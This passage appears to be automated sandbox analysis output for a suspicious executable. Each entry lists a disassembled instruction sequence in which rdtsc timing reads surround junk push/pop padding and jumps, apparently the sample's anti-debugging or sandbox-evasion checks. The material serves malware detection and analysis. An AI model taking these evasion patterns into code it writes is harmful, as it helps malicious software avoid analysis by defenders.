Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2CAE39 second address: 2CAE4E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jc 00007F5DA4DA2F56h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2CBE3E second address: 2CBE43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2D4BAD second address: 2D4BD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 pushad 0x0000000a jmp 00007F5DA4DA2F5Ah 0x0000000f jbe 00007F5DA4DA2F56h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 push esi 0x00000019 jns 00007F5DA4DA2F56h 0x0000001f pop esi 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2D4BD6 second address: 2D4BE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F5DA4981DA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2D4746 second address: 2D474C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2D474C second address: 2D4760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F5DA4981DA6h 0x0000000e jg 00007F5DA4981DA6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2D4760 second address: 2D4764 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2DA7BF second address: 2DA7D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5DA4981DAAh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2DA7D6 second address: 2DA821 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F5DA4DA2F5Ch 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jno 00007F5DA4DA2F79h 0x00000015 mov eax, dword ptr [eax] 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jne 00007F5DA4DA2F56h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2DA821 second address: 2DA825 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2DA825 second address: 2DA82B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2DA935 second address: 2DA93C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2DF8E3 second address: 2DF8E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2DFA45 second address: 2DFA4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2DFA4D second address: 2DFA59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2DFA59 second address: 2DFA5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2DFA5F second address: 2DFA64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2DFA64 second address: 2DFA6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F5DA4981DA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2DFFC1 second address: 2DFFDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5DA4DA2F67h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2DFFDD second address: 2DFFF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F5DA4981DAEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2E30EA second address: 2E30EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2BAA47 second address: 2BAA4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2BAA4D second address: 2BAA6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F5DA4DA2F66h 0x00000011 jmp 00007F5DA4DA2F60h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2BAA6E second address: 2BAA79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F5DA4981DA6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2BAA79 second address: 2942CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007F5DA4DA2F58h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 0000001Bh 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 mov dword ptr [ebp+122D26F5h], edi 0x00000028 call dword ptr [ebp+122D30D0h] 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2BABE1 second address: 2BABFC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F5DA4981DAAh 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jbe 00007F5DA4981DB4h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2BAFE7 second address: 108C9E instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5DA4DA2F6Dh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push dword ptr [ebp+122D1611h] 0x00000011 mov edx, 1D44593Eh 0x00000016 call dword ptr [ebp+122D34E1h] 0x0000001c pushad 0x0000001d mov dword ptr [ebp+122D1C68h], edx 0x00000023 xor eax, eax 0x00000025 add dword ptr [ebp+122D1C68h], ebx 0x0000002b mov dword ptr [ebp+122D318Eh], edi 0x00000031 mov edx, dword ptr [esp+28h] 0x00000035 jmp 00007F5DA4DA2F66h 0x0000003a mov dword ptr [ebp+122D39E8h], eax 0x00000040 pushad 0x00000041 call 00007F5DA4DA2F5Ch 0x00000046 xor dword ptr [ebp+122D1C46h], edi 0x0000004c pop ecx 0x0000004d mov esi, dword ptr [ebp+122D3A60h] 0x00000053 popad 0x00000054 mov esi, 0000003Ch 0x00000059 pushad 0x0000005a mov esi, 1B21CD50h 0x0000005f sub dword ptr [ebp+122D1D85h], ecx 0x00000065 popad 0x00000066 add esi, dword ptr [esp+24h] 0x0000006a jnp 00007F5DA4DA2F5Ah 0x00000070 pushad 0x00000071 push edx 0x00000072 pop edi 0x00000073 popad 0x00000074 lodsw 0x00000076 pushad 0x00000077 cld 0x00000078 sub dword ptr [ebp+122D318Eh], edi 0x0000007e popad 0x0000007f add eax, dword ptr [esp+24h] 0x00000083 jmp 00007F5DA4DA2F60h 0x00000088 mov ebx, dword ptr [esp+24h] 0x0000008c jmp 00007F5DA4DA2F5Fh 0x00000091 nop 0x00000092 jnc 00007F5DA4DA2F60h 0x00000098 push eax 0x00000099 push eax 0x0000009a push edx 0x0000009b ja 00007F5DA4DA2F65h 0x000000a1 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2BB1A9 second address: 2BB1BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4981DB0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2BB371 second address: 2BB38A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5DA4DA2F65h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2BB38A second address: 2BB38E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2BB541 second address: 2BB54B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2BB54B second address: 2BB54F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2BBC68 second address: 2BBC6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 294D48 second address: 294D5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 jp 00007F5DA4981DA6h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2EA8BE second address: 2EA8C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2EA8C9 second address: 2EA8D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007F5DA4981DA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2EA8D5 second address: 2EA8F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5DA4DA2F69h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2EA8F2 second address: 2EA8F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2EABD2 second address: 2EABDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F5DA4DA2F56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2EABDE second address: 2EABEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F5DA4981DA6h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2EAD90 second address: 2EAD94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2EAD94 second address: 2EAD9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2EAEC2 second address: 2EAEC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2EAEC6 second address: 2EAEE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F5DA4981DB8h 0x0000000c jmp 00007F5DA4981DB2h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2EAEE4 second address: 2EAEEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2EB039 second address: 2EB06B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F5DA4981DABh 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F5DA4981DAAh 0x00000011 jnp 00007F5DA4981DAEh 0x00000017 push eax 0x00000018 push edx 0x00000019 jbe 00007F5DA4981DA6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2EFFA7 second address: 2EFFCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop esi 0x0000000a jmp 00007F5DA4DA2F68h 0x0000000f popad 0x00000010 pushad 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2EFFCE second address: 2EFFD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2EFFD4 second address: 2EFFF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edx 0x00000006 jmp 00007F5DA4DA2F5Fh 0x0000000b js 00007F5DA4DA2F56h 0x00000011 pop edx 0x00000012 jne 00007F5DA4DA2F5Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2F0147 second address: 2F014D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2F014D second address: 2F0153 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2F0153 second address: 2F0161 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5DA4981DA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2F09C4 second address: 2F09C9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2F0AFB second address: 2F0B01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2F0B01 second address: 2F0B0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2F7B4A second address: 2F7B4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2F7B4E second address: 2F7B64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F5DA4DA2F56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f jg 00007F5DA4DA2F56h 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 26B287 second address: 26B28D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 26B28D second address: 26B2AD instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5DA4DA2F6Bh 0x00000008 jmp 00007F5DA4DA2F65h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 26B2AD second address: 26B2BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 26B2BB second address: 26B2C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 26B2C1 second address: 26B2C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2F68C1 second address: 2F68C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2F68C7 second address: 2F68CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2F6E34 second address: 2F6E56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5DA4DA2F62h 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007F5DA4DA2F56h 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2F6F93 second address: 2F6F9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F5DA4981DA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2F65F4 second address: 2F65F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2FA040 second address: 2FA052 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jbe 00007F5DA4981DA6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2FA052 second address: 2FA06E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F5DA4DA2F56h 0x0000000a js 00007F5DA4DA2F56h 0x00000010 popad 0x00000011 jmp 00007F5DA4DA2F5Bh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2FA06E second address: 2FA07A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F5DA4981DA6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2FA07A second address: 2FA07E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2FA07E second address: 2FA082 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2F9BEC second address: 2F9BF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2738E2 second address: 2738E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2FDFD9 second address: 2FE011 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F5DA4DA2F63h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e jmp 00007F5DA4DA2F61h 0x00000013 pushad 0x00000014 popad 0x00000015 pop edx 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a pop eax 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2FE011 second address: 2FE016 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2FE016 second address: 2FE022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2FE2E1 second address: 2FE2FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4981DB2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2FE2FD second address: 2FE303 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2FE45B second address: 2FE46A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F5DA4981DA6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2FE46A second address: 2FE46E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2FE46E second address: 2FE474 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 305B95 second address: 305BA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 305BA0 second address: 305BAA instructions: 0x00000000 rdtsc 0x00000002 jp 00007F5DA4981DA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 3043CB second address: 3043D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push ebx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 3043D5 second address: 3043F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5DA4981DB9h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
